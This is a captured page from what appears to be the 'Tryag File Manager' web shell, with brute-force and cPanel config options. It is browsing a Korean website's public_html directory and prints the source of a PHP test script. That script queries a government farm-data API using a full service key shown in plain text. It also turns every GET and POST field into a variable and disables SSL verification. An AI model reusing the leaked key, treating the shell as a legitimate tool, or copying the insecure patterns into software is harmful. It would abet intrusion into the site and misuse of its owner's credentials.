Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
nonga.eemo.co.kr
/
public_html
/
www
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/nonga.eemo.co.kr/public_html/www/test_chuk.php
<? session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); include_once("dbconn.php"); include_once("lib.php"); foreach($_GET as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } foreach($_POST as $key => $value) { ${$key}=mysql_real_escape_string(trim($value)); } $key = "28985c6e96500e84560305e2318ba064236edecdb32c1e9f94b8d95cd7e553c0"; //$url = 'http://211.237.50.150:7080/openapi/sample/xml/Grid_20151104000000000299_1/1/5'; //$url = 'http://211.237.50.150:7080/openapi/28985c6e96500e84560305e2318ba064236edecdb32c1e9f94b8d95cd7e553c0/xml/Grid_20151104000000000299_1/1/500'; $url = 'http://apis.data.go.kr/1543000/FarmServiceInfo/getFarmAreaInfo?numOfRows=10&pageNo=1&ServiceKey='.$key; $fields = array( 'ServiceKey' => $key, 'pageNo' => "1", 'numOfRows' => "10" ); /* $headers = array( 'Authorization:key =' . $key, 'Content-Type: application/xml' ); */ $headers = array( 'Content-Type: application/xml' ); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, false); //curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); //curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields)); $response = curl_exec($ch); curl_close($ch); echo $response; ?>